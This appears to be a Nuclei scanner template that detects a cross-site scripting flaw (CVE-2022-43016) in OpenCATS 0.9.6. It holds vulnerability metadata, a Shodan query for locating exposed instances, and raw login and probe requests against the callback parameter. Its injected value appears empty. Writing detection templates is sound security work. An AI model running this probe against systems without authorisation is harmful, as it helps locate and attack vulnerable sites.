id: CVE-2022-43016
info:
name: OpenCATS 0.9.6 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the callback component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.
reference:
- https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_callback.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-43016
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-43016
cwe-id: CWE-79
epss-score: 0.00099
epss-percentile: 0.40565
cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: opencats
product: opencats
shodan-query: title:"OpenCATS"
tags: cve2022,cve,xss,opencats,authenticated
http:
- raw:
- |
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
GET /index.php?m=toolbar&callback=&a=authenticate HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'EVAL='
- 'cats_connected'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
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